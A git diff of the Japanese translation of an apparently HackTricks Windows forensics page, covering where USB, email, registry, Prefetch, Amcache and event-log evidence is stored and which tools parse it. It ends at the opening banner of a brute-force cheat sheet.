-![](<../../../.gitbook/assets/image (476).png>) +![](<../../../.gitbook/assets/image (218).png>) -フォルダWPDNSE内のファイルは、元のファイルのコピーであり、したがってPCの再起動を行うと消えます。GUIDはシェルバッグから取得されます。 +フォルダWPDNSE内のファイルはオリジナルのファイルのコピーであり、したがってPCの再起動を生き延びることはできません。GUIDはシェルバッグから取得されます。 ### レジストリ情報 -USB接続されたデバイスに関する興味深い情報を含むレジストリキーを確認するには、[このページ](interesting-windows-registry-keys.md#usb-information)を参照してください。 +USB接続されたデバイスに関する興味深い情報を含むレジストリキーを確認するには、[このページを参照してください](interesting-windows-registry-keys.md#usb-information)。 ### setupapi USB接続が行われたタイムスタンプを取得するには、ファイル`C:\Windows\inf\setupapi.dev.log`を確認してください(`Section start`を検索)。 -![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) ### USB Detective [**USBDetective**](https://usbdetective.com)を使用して、イメージに接続されたUSBデバイスに関する情報を取得できます。 -![](<../../../.gitbook/assets/image (483).png>) +![](<../../../.gitbook/assets/image (452).png>) ### プラグアンドプレイのクリーンアップ -「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、古いドライバーバージョンを削除するために主に設計されています。最新のドライバーパッケージバージョンを保持することが明示されているにもかかわらず、オンラインソースによると、過去30日間非アクティブだったドライバーも対象となる可能性があります。その結果、過去30日間接続されていないリムーバブルデバイスのドライバーは削除の対象となる可能性があります。 +「プラグアンドプレイのクリーンアップ」として知られるスケジュールされたタスクは、古いドライバーバージョンを削除するために主に設計されています。最新のドライバーパッケージバージョンを保持することが指定されているにもかかわらず、オンラインソースによれば、過去30日間非アクティブだったドライバーも対象となる可能性があります。その結果、過去30日間接続されていないリムーバブルデバイスのドライバーは削除の対象となる可能性があります。 -このタスクは次の場所にあります: -`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。 +このタスクは次のパスにあります:`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`。 -タスクの内容を示すスクリーンショットが提供されています: -![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) +タスクの内容を示すスクリーンショットが提供されています:![](https://2.bp.blogspot.com/-wqYubtuR\_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**タスクの主要なコンポーネントと設定:** -- **pnpclean.dll**: このDLLは実際のクリーンアッププロセスを担当しています。 -- **UseUnifiedSchedulingEngine**: `TRUE`に設定されており、一般的なタスクスケジューリングエンジンが使用されていることを示しています。 -- **MaintenanceSettings**: -- **Period ('P1M')**: タスクスケジューラに、定期的な自動メンテナンス中に月次のクリーンアップタスクを開始するよう指示します。 -- **Deadline ('P2M')**: タスクスケジューラに、2か月連続でタスクが失敗した場合、緊急時の自動メンテナンス中にタスクを実行するよう指示します。 +**タスクの主要なコンポーネントと設定:** -この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続した失敗の場合にタスクを再試行するための規定があります。 +* **pnpclean.dll**:このDLLは実際のクリーンアッププロセスを担当しています。 +* **UseUnifiedSchedulingEngine**:`TRUE`に設定されており、一般的なタスクスケジューリングエンジンの使用を示しています。 +* **MaintenanceSettings**: +* **Period('P1M')**:定期的な自動メンテナンス中に月次のクリーンアップタスクを開始するようにタスクスケジューラに指示します。 +* **Deadline('P2M')**:タスクが2か月連続で失敗した場合、緊急時の自動メンテナンス中にタスクを実行するようにタスクスケジューラに指示します。 -**詳細はこちらを参照:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +この構成により、ドライバーの定期的なメンテナンスとクリーンアップが確保され、連続した失敗の場合のタスクの再試行が規定されています。 + +**詳細については、次を参照してください:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) ## メール -メールには**2つの興味深い部分が含まれます: ヘッダーとコンテンツ**です。**ヘッダー**には次のような情報が含まれます: +メールには**2つの興味深い部分が含まれています:ヘッダーとメールの内容**。**ヘッダー**には次のような情報が含まれます: -* メールを送信した**誰**(メールアドレス、IP、メールをリダイレクトしたメールサーバー) -* メールがいつ送信されたか +* **誰**がメールを送信したか(メールアドレス、IP、メールをリダイレクトしたメールサーバー) +* メールが送信された**時刻** -また、`References`と`In-Reply-To`ヘッダー内には、メッセージのIDが含まれています: +また、`References`と`In-Reply-To`ヘッダー内にはメッセージのIDが含まれています: -![](<../../../.gitbook/assets/image (484).png>) +![](<../../../.gitbook/assets/image (593).png>) ### Windowsメールアプリ -このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは`\Users\\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダ内に保存され、`.dat`拡張子で保存されます。 +このアプリケーションは、メールをHTMLまたはテキストで保存します。メールは`\Users\\AppData\Local\Comms\Unistore\data\3\`内のサブフォルダ内に保存されます。メールは`.dat`拡張子で保存されます。 -メールの**メタデータ**と**連絡先**は、**EDBデータベース**内で見つけることができます:`\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +メールの**メタデータ**と**連絡先**は**EDBデータベース**内に見つけることができます:`\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -ファイルの拡張子を`.vol`から`.edb`に変更し、[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)ツールを使用して開くことができます。`Message`テーブル内でメールを確認できます。 +ファイルの拡張子を`.vol`から`.edb`に変更し、ツール[ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)を使用して開くことができます。`Message`テーブル内にメールが表示されます。 ### Microsoft Outlook -ExchangeサーバーやOutlookクライアントが使用されている場合、いくつかのMAPIヘッダーが存在します: +ExchangeサーバーまたはOutlookクライアントが使用されている場合、いくつかのMAPIヘッダーが存在します: -* `Mapi-Client-Submit-Time`: メールが送信されたシステムの時間 -* `Mapi-Conversation-Index`: スレッドの子メッセージ数とスレッドの各メッセージのタイムスタンプ -* `Mapi-Entry-ID`: メッセージ識別子 -* `Mappi-Message-Flags`および`Pr_last_Verb-Executed`: MAPIクライアントに関する情報(メッセージが読まれたか、未読か、返信済みか、リダイレクトされたか、オフィスを外出中かなど) +* `Mapi-Client-Submit-Time`:メールが送信されたシステムの時刻 +* `Mapi-Conversation-Index`:スレッドの子メッセージ数とスレッドの各メッセージのタイムスタンプ +* `Mapi-Entry-ID`:メッセージ識別子 +* `Mappi-Message-Flags`および`Pr_last_Verb-Executed`:MAPIクライアントに関する情報(メッセージは既読ですか?未読ですか?返信済みですか?リダイレクトされましたか?外出中ですか?) -Microsoft Outlookクライアントでは、送信/受信したメッセージ、連絡先データ、カレンダーデータが次の場所に保存されます: +Microsoft Outlookクライアントでは、送受信したすべてのメッセージ、連絡先データ、およびカレンダーデータが次のPSTファイルに保存されます: * `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook`(WinXP) * `%USERPROFILE%\AppData\Local\Microsoft\Outlook` レジストリパス`HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`は使用されているファイルを示します。 -PSTファイルを開くには、[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)ツールを使用できます。 +PSTファイルは、ツール[**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html)を使用して開くことができます。 -![](<../../../.gitbook/assets/image (485).png>) +![](<../../../.gitbook/assets/image (498).png>) +### Microsoft Outlook OST Files -### Microsoft Outlook OSTファイル - -Microsoft Outlookが**IMAP**または**Exchange**サーバーと構成されている場合、**OSTファイル**が生成され、PSTファイルと同様の情報が保存されます。このファイルはサーバーと同期され、**過去12か月間**のデータを最大**50GB**まで保持し、PSTファイルと同じディレクトリに保存されます。OSTファイルを表示するには、[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を利用できます。 +**OSTファイル**は、Microsoft Outlookが**IMAP**または**Exchange**サーバーと構成されているときに生成され、PSTファイルと同様の情報を格納します。このファイルはサーバーと同期され、**過去12ヶ月**分のデータを**最大50GB**まで保持し、PSTファイルと同じディレクトリにあります。OSTファイルを表示するには、[**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)を利用できます。 ### 添付ファイルの取得 失われた添付ファイルは次の場所から回復できる場合があります: -- **IE10**の場合:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -- **IE11以降**の場合:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` +* **IE10**の場合:`%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` +* **IE11以降**の場合:`%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -### Thunderbird MBOXファイル +### Thunderbird MBOX Files -**Thunderbird**はデータを保存するために**MBOXファイル**を使用し、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`に保存されます。 +**Thunderbird**はデータを格納するために**MBOXファイル**を使用し、`\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`にあります。 ### 画像サムネイル -- **Windows XPおよび8-8.1**:サムネイルが表示されるフォルダにアクセスすると、削除後も画像プレビューを保存する`thumbs.db`ファイルが生成されます。 -- **Windows 7/10**:UNCパスを介してネットワーク経由でアクセスすると、`thumbs.db`が作成されます。 -- **Windows Vista以降**:サムネイルプレビューは`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`に集約され、**thumbcache\_xxx.db**という名前のファイルに保存されます。これらのファイルを表示するためのツールとして、[**Thumbsviewer**](https://thumbsviewer.github.io)と[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)があります。 +* **Windows XPおよび8-8.1**:サムネイルが含まれるフォルダにアクセスすると、削除後も画像プレビューを保存する`thumbs.db`ファイルが生成されます。 +* **Windows 7/10**:UNCパスを介してネットワーク経由でアクセスすると`thumbs.db`が作成されます。 +* **Windows Vista以降**:サムネイルプレビューは`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`に集約され、**thumbcache\_xxx.db**という名前のファイルがあります。[**Thumbsviewer**](https://thumbsviewer.github.io)と[**ThumbCache Viewer**](https://thumbcacheviewer.github.io)はこれらのファイルを表示するためのツールです。 ### Windowsレジストリ情報 -Windowsレジストリは、広範なシステムおよびユーザーのアクティビティデータを保存しており、次の場所にファイルが保存されています: +Windowsレジストリは、広範なシステムおよびユーザーのアクティビティデータを格納しており、次のファイルに含まれています: -- `HKEY_LOCAL_MACHINE`のさまざまなサブキーに対しては`%windir%\System32\Config` -- `HKEY_CURRENT_USER`に対しては`%UserProfile%{User}\NTUSER.DAT` -- Windows Vista以降では、`HKEY_LOCAL_MACHINE`レジストリファイルは`%Windir%\System32\Config\RegBack\`にバックアップされます。 -- さらに、プログラムの実行情報は、Windows VistaおよびWindows 2008 Server以降では`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に保存されます。 +* `HKEY_LOCAL_MACHINE`のさまざまなサブキーには`%windir%\System32\Config`にあります。 +* `HKEY_CURRENT_USER`には`%UserProfile%{User}\NTUSER.DAT`にあります。 +* Windows Vista以降のバージョンでは、`%Windir%\System32\Config\RegBack\`に`HKEY_LOCAL_MACHINE`レジストリファイルのバックアップがあります。 +* さらに、プログラムの実行情報は、Windows VistaおよびWindows 2008 Server以降の`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`に格納されます。 ### ツール いくつかのツールがレジストリファイルを分析するのに役立ちます: -* **レジストリエディタ**: Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。 -* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md): レジストリファイルをロードし、GUIでナビゲートすることができます。興味深い情報を含むキーをハイライトするブックマークが含まれています。 -* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): ロードされたレジストリをナビゲートするためのGUIがあり、ロードされたレジストリ内の興味深い情報をハイライトするプラグインも含まれています。 -* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): ロードされたレジストリから重要な情報を抽出できる別のGUIアプリケーションです。 +* **レジストリエディタ**:Windowsにインストールされています。現在のセッションのWindowsレジストリをナビゲートするためのGUIです。 +* [**Registry Explorer**](https://ericzimmerman.github.io/#!index.md):レジストリファイルをロードし、GUIでそれらをナビゲートできます。興味深い情報を示すブックマークを含んでいます。 +* [**RegRipper**](https://github.com/keydet89/RegRipper3.0):再び、ロードされたレジストリをナビゲートするためのGUIを備えており、ロードされたレジストリ内の興味深い情報を強調するプラグインも含まれています。 +* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html):レジストリから重要な情報を抽出できる別のGUIアプリケーションです。 ### 削除された要素の回復 -キーが削除されると、そのようにマークされますが、そのスペースが必要になるまで削除されません。そのため、**Registry Explorer**などのツールを使用すると、これらの削除されたキーを回復することが可能です。 +キーが削除されると、それがマークされますが、そのスペースが必要になるまで削除されません。したがって、**Registry Explorer**などのツールを使用すると、これらの削除されたキーを回復することが可能です。 -### 最終書き込み時刻 +### 最終更新時刻 -各キー値には、最後に変更された時刻を示す**タイムスタンプ**が含まれています。 +各キー値には、最後に変更された時間を示す**タイムスタンプ**が含まれています。 ### SAM -ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、ユーザーパスワード**のハッシュが含まれています。 +ファイル/ハイブ**SAM**には、システムの**ユーザー、グループ、およびユーザーパスワード**のハッシュが含まれています。 -`SAM\Domains\Account\Users`では、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、アカウント作成日時を取得できます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も必要です。 +`SAM\Domains\Account\Users`には、ユーザー名、RID、最終ログイン、最終失敗ログオン、ログインカウンター、パスワードポリシー、アカウント作成日などの情報が含まれます。**ハッシュ**を取得するには、ファイル/ハイブ**SYSTEM**も必要です。 ### Windowsレジストリの興味深いエントリ @@ -283,18 +281,36 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク ### 基本的なWindowsプロセス -[この記事](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)では、疑わしい動作を検出するための一般的なWindowsプロセスに +[この投稿](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)では、疑わしい動作を検出するための一般的なWindowsプロセスについて学ぶことができます。 + +### Windows最近のアプリ + +レジストリ`NTUSER.DAT`内のパス`Software\Microsoft\Current Version\Search\RecentApps`には、**実行されたアプリケーション**、**最終実行時刻**、**起動回数**に関する情報が含まれるサブキーがあります。 + +### BAM(バックグラウンドアクティビティモデレーター) + +レジストリエディタで`SYSTEM`ファイルを開き、パス`SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}`内には、各ユーザーが実行した**アプリケーションに関する情報**(パス内の`{SID}`に注意)および**実行時刻**が含まれています(実行時刻はレジストリのデータ値内にあります)。 + +### Windows Prefetch + +プリフェッチは、コンピューターが**ユーザーが近い将来にアクセスする可能性のあるコンテンツを表示するために必要なリソースを静かに取得**する技術です。Windowsプリフェッチは、**実行されたプログラムのキャッシュ**を作成して、それらをより速くロードできるようにします。これらのキャッシュは、`C:\Windows\Prefetch`内に`.pf`ファイルとして作成されます。XP/VISTA/WIN7では128ファイルの制限があり、Win8/Win10では1024ファイルの制限があります。 + +ファイル名は`{program_name}-{hash}.pf`として作成されます(ハッシュは実行可能ファイルのパスと引数に基づいています)。W10ではこれらのファイルが圧縮されています。ファイルが存在するだけで、そのプログラムが**ある時点で実行された**ことを示しています。 + +ファイル`C:\Windows\Prefetch\Layout.ini`には、プリフェッチされるファイルのフォルダの**名前**に関する情報が含まれています。このファイルには、**実行回数**、**実行日**、およびプログラムによって**開かれたファイル**に関する情報が含まれています。 + +これらのファイルを調査するには、[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)ツールを使用できます。 ```bash .\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" ``` -![](<../../../.gitbook/assets/image (487).png>) +![](<../../../.gitbook/assets/image (315).png>) ### Superprefetch -**Superprefetch**は、prefetchと同じ目標を持ち、**次に読み込まれるものを予測して**プログラムを**高速に読み込む**ことです。ただし、prefetchサービスを置き換えるものではありません。\ +**Superprefetch**は、prefetchと同じ目標を持ち、次に読み込まれるものを予測して**プログラムを高速に読み込む**ことを目的としています。ただし、prefetchサービスを置き換えるものではありません。\ このサービスは、`C:\Windows\Prefetch\Ag*.db`にデータベースファイルを生成します。 -これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスされたボリューム**、**完全なパス**、**時間枠**、**タイムスタンプ**が含まれています。 +これらのデータベースには、**プログラムの名前**、**実行回数**、**開かれたファイル**、**アクセスしたボリューム**、**完全なパス**、**時間枠**、**タイムスタンプ**が含まれています。 この情報には、[**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/)ツールを使用してアクセスできます。 @@ -318,9 +334,9 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク ```bash .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` -### AppCompatCache (ShimCache) +### AppCompatCache(ShimCache) -**AppCompatCache**、または**ShimCache**としても知られるものは、**Microsoft**が開発した**Application Compatibility Database**の一部であり、アプリケーションの互換性の問題に対処するためのものです。このシステムコンポーネントは、次のファイルメタデータを記録します: +**AppCompatCache**、または**ShimCache**としても知られるものは、**Microsoft**が開発した**アプリケーション互換性データベース**の一部であり、アプリケーションの互換性の問題に対処するために使用されます。このシステムコンポーネントは、次のファイルメタデータを記録します: - ファイルの完全なパス - ファイルのサイズ @@ -328,54 +344,56 @@ Windowsレジストリは、広範なシステムおよびユーザーのアク - ShimCacheの最終更新時刻 - プロセス実行フラグ -このようなデータは、オペレーティングシステムのバージョンに基づいてレジストリ内の特定の場所に保存されます: +このようなデータは、オペレーティングシステムのバージョンに基づいてレジストリ内の特定の場所に保存されます: - XPの場合、データは`SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache`に保存され、96エントリを格納できます。 - Server 2003、およびWindowsバージョン2008、2012、2016、7、8、および10の場合、ストレージパスは`SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`で、それぞれ512および1024エントリを収容します。 保存された情報を解析するには、[**AppCompatCacheParser**ツール](https://github.com/EricZimmerman/AppCompatCacheParser)の使用をお勧めします。 -![](<../../../.gitbook/assets/image (488).png>) +![](<../../../.gitbook/assets/image (75).png>) ### Amcache **Amcache.hve**ファイルは、システムで実行されたアプリケーションの詳細を記録するレジストリハイブです。通常、`C:\Windows\AppCompat\Programas\Amcache.hve`にあります。 -このファイルは、実行されたプロセスの記録、実行可能ファイルへのパス、およびそれらのSHA1ハッシュを保存するために注目されています。この情報は、システム上のアプリケーションの活動を追跡するために貴重です。 +このファイルは、最近実行されたプロセスの記録、実行可能ファイルへのパス、およびそれらのSHA1ハッシュを保存するために注目されています。この情報は、システム上のアプリケーションの活動を追跡するために貴重です。 -**Amcache.hve**からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。次のコマンドは、**Amcache.hve**ファイルの内容を解析し、結果をCSV形式で出力するための使用例です: +**Amcache.hve**からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser)ツールを使用できます。次のコマンドは、**Amcache.hve**ファイルの内容を解析し、結果をCSV形式で出力するためのAmcacheParserの使用例です: ```bash AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder ``` -### 最も興味深いCSVファイルは、`Amcache_Unassociated file entries`です。 +生成されたCSVファイルの中で、`Amcache_Unassociated file entries`は、関連付けられていないファイルエントリに関する豊富な情報を提供するため特に注目に値します。 + +最も興味深いCSVファイルは、`Amcache_Unassociated file entries`です。 ### RecentFileCache -このアーティファクトは、W7にのみ`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にあり、一部のバイナリの最近の実行に関する情報を含んでいます。 +このアーティファクトは、`C:\Windows\AppCompat\Programs\RecentFileCache.bcf`にのみW7で見つけることができ、いくつかのバイナリの最近の実行に関する情報を含んでいます。 -ファイルを解析するには、[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)ツールを使用できます。 +ファイルを解析するために[**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser)ツールを使用できます。 ### スケジュールされたタスク -これらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出し、XMLとして読むことができます。 +`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出し、XMLとして読むことができます。 ### サービス -これらは`SYSTEM\ControlSet001\Services`のレジストリ内にあります。実行される内容と実行されるタイミングを確認できます。 +レジストリ内の`SYSTEM\ControlSet001\Services`に見つけることができます。実行される内容や実行時期を確認できます。 -### **Windowsストア** +### **Windows Store** インストールされたアプリケーションは`\ProgramData\Microsoft\Windows\AppRepository\`にあります。\ -このリポジトリには、データベース内の**`StateRepository-Machine.srd`**という名前の**各インストールされたアプリケーション**に関する**ログ**があります。 +このリポジトリには、システム内の各アプリケーションのインストールに関する**`StateRepository-Machine.srd`**データベース内の**ログ**があります。 -このデータベースのApplicationテーブル内には、"Application ID"、"PackageNumber"、"Display Name"という列があります。これらの列には、プリインストールされたアプリケーションとインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDが連続しているかどうかを確認できます。 +このデータベースのApplicationテーブル内には、"Application ID"、"PackageNumber"、"Display Name"という列があります。これらの列には、事前にインストールされたアプリケーションやインストールされたアプリケーションに関する情報が含まれており、インストールされたアプリケーションのIDは連続しているはずです。 -また、レジストリパス`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`内に**インストールされたアプリケーション**を見つけることができます。\ -そして、**アンインストールされたアプリケーション**は`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`にあります。 +また、レジストリパス内に**インストールされたアプリケーション**を見つけることも可能です:`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ +そして**アンインストールされたアプリケーション**はこちらにあります:`Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` ## Windowsイベント -Windowsイベントに表示される情報は次のとおりです: +Windowsイベント内に表示される情報は以下の通りです: * 何が起こったか * タイムスタンプ(UTC + 0) @@ -387,91 +405,15 @@ Windowsイベントに表示される情報は次のとおりです: イベントファイルの場所は、SYSTEMレジストリ内の**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**にあります。 -Windowsイベントビューアー(**`eventvwr.msc`**)や[**Event Log Explorer**](https://eventlogxp.com)や[**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)などの他のツールで表示できます。 +Windowsイベントビューアー(**`eventvwr.msc`**)や[**Event Log Explorer**](https://eventlogxp.com) **または** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**などのツールで表示できます。** -## Windowsセキュリティイベントの理解 +## Windowsセキュリティイベントログの理解 セキュリティ構成ファイルに記録されるアクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあります。このファイルのサイズは調整可能であり、容量が達すると古いイベントが上書きされます。記録されるイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダ、共有アセットへのアクセスが含まれます。 +#### システムの電源イベント -### ユーザー認証のための主要なイベントID: - -- **EventID 4624**: ユーザーが正常に認証されたことを示します。 -- **EventID 4625**: 認証の失敗を示します。 -- **EventIDs 4634/4647**: ユーザーログオフイベントを表します。 -- **EventID 4672**: 管理特権でのログインを示します。 - -#### EventID 4634/4647内のサブタイプ: - -- **Interactive (2)**: 直接ユーザーログイン。 -- **Network (3)**: 共有フォルダへのアクセス。 -- **Batch (4)**: バッチプロセスの実行。 -- **Service (5)**: サービスの起動。 -- **Proxy (6)**: プロキシ認証。 -- **Unlock (7)**: パスワードで画面のロック解除。 -- **Network Cleartext (8)**: 明示的なパスワード送信、主にIISから。 -- **New Credentials (9)**: アクセスのための異なる資格情報の使用。 -- **Remote Interactive (10)**: リモートデスクトップまたはターミナルサービスへのログイン。 -- **Cache Interactive (11)**: ドメインコントローラーに連絡せずにキャッシュされた資格情報でのログイン。 -- **Cache Remote Interactive (12)**: キャッシュされた資格情報でのリモートログイン。 -- **Cached Unlock (13)**: キャッシュされた資格情報でのロック解除。 - -#### EventID 4625のステータスおよびサブステータスコード: - -- **0xC0000064**: ユーザー名が存在しない - ユーザー名の列挙攻撃を示す可能性があります。 -- **0xC000006A**: 正しいユーザー名が間違ったパスワード - パスワードの推測または総当たり攻撃の試行が考えられます。 -- **0xC0000234**: ユーザーアカウントがロックアウトされている - 多数の失敗したログインをもたらす総当たり攻撃の結果として発生する可能性があります。 -- **0xC0000072**: アカウントが無効になっている - 無効になったアカウントへの不正アクセス試行。 -- **0xC000006F**: 許可された時間外のログオン - 設定されたログイン時間外にアクセスを試みることは、不正アクセスの可能性を示すかもしれません。 -- **0xC0000070**: ワークステーションの制限の違反 - 許可されていない場所からのログイン試行。 -- **0xC0000193**: アカウントの有効期限切れ - 期限切れのユーザーアカウントでのアクセス試行。 -- **0xC0000071**: パスワードの有効期限切れ - 期限切れのパスワードでのログイン試行。 -- **0xC0000133**: 時間同期の問題 - クライアントとサーバー間の大きな時間のずれは、パスザチケットなどの高度な攻撃の兆候となる可能性があります。 -- **0xC0000224**: 強制的なパスワード変更が必要 - 頻繁な強制的な変更は、アカウントセキュリティを不安定にする試みを示す可能性があります。 -- **0xC0000225**: セキュリティ問題ではなく、システムのバグを示します。 -- **0xC000015b**: 拒否されたログオンタイプ - ユーザーがサービスログオンを実行しようとするなど、許可されていないログオンタイプでのアクセス試行。 - -#### EventID 4616: -- **時間の変更**: システム時間の変更、イベントのタイムラインを曖昧にする可能性があります。 - -#### EventID 6005および6006: -- **システムの起動およびシャットダウン**: EventID 6005はシステムの起動を示し、EventID 6006はシャットダウンを示します。 - -#### EventID 1102: -- **ログの削除**: 不正行為を隠すための赤信号であるセキュリティログのクリア。 - -#### USBデバイストラッキングのためのEventID: -- **20001 / 20003 / 10000**: USBデバイスの初回接続。 -- **10100**: USBドライバーの更新。 -- **EventID 112**: USBデバイスの挿入時刻。 - -これらのログインタイプや資格情報ダンプの機会をシミュレートする実践的な例については、[Altered Securityの詳細ガイド](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them)を参照してください。 - -イベントの詳細、特にEvent ID 4625でのステータスおよびサブステータスコードは、イベントの原因に関するさらなる洞察を提供します。 - -### Windowsイベントの回復 - -削除されたWindowsイベントを回復する可能性を高めるためには、疑わしいコンピューターの電源を直接抜いて電源を切ることをお勧めします。`.evtx`拡張子を指定する回復ツールである**Bulk_extractor**を使用して、このようなイベントを回復しようとすることをお勧めします。 - -### Windowsイベントを通じた一般的な攻撃の特定 - -一般的なサイバー攻撃を特定するためにWindowsイベントIDを利用する包括的なガイドについては、[Red Team Recipe](https://redteamrecipe.com/event-codes/)を参照してください。 - -#### 総当たり攻撃 - -複数のEventID 4625レコードによって識別され、攻撃が成功した場合はEventID 4624が続きます。 - -#### 時間の変更 - -EventID 4616によって記録され、システム時間の変更はフォレンジック分析を複雑にします。 - -#### USBデバイストラッキング - -USBデバイストラッキングのための有用なシステムイベントIDには、初回使用のための20001/20003/10000、ドライバー更新のための10100、および挿入タイムスタンプのためのDeviceSetupManagerからのEventID 112が含まれます。 - -#### システム電源イベント - -EventID 6005はシステムの起動を示し、EventID 6006はシャットダウンを示します。 +EventID 6005 はシステムの起動を示し、EventID 6006 はシャットダウンを示します。 #### ログの削除 -セキュリティEventID 1102はログの削除を示し、フォレンジック分析にとって重要なイベントです。 +セキュリティ EventID 1102 はログの削除を示し、それは法的解析において重要なイベントです。 diff --git a/generic-methodologies-and-resources/brute-force.md b/generic-methodologies-and-resources/brute-force.md index 542b2c45f..8444fa6f5 100644 --- a/generic-methodologies-and-resources/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,24 +1,24 @@ # Brute Force - チートシート - + \ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ 今すぐアクセスしてください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -htARTE(HackTricks AWS Red Team Expert) を使用して、ゼロからヒーローまでAWSハッキングを学びましょう! +ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red 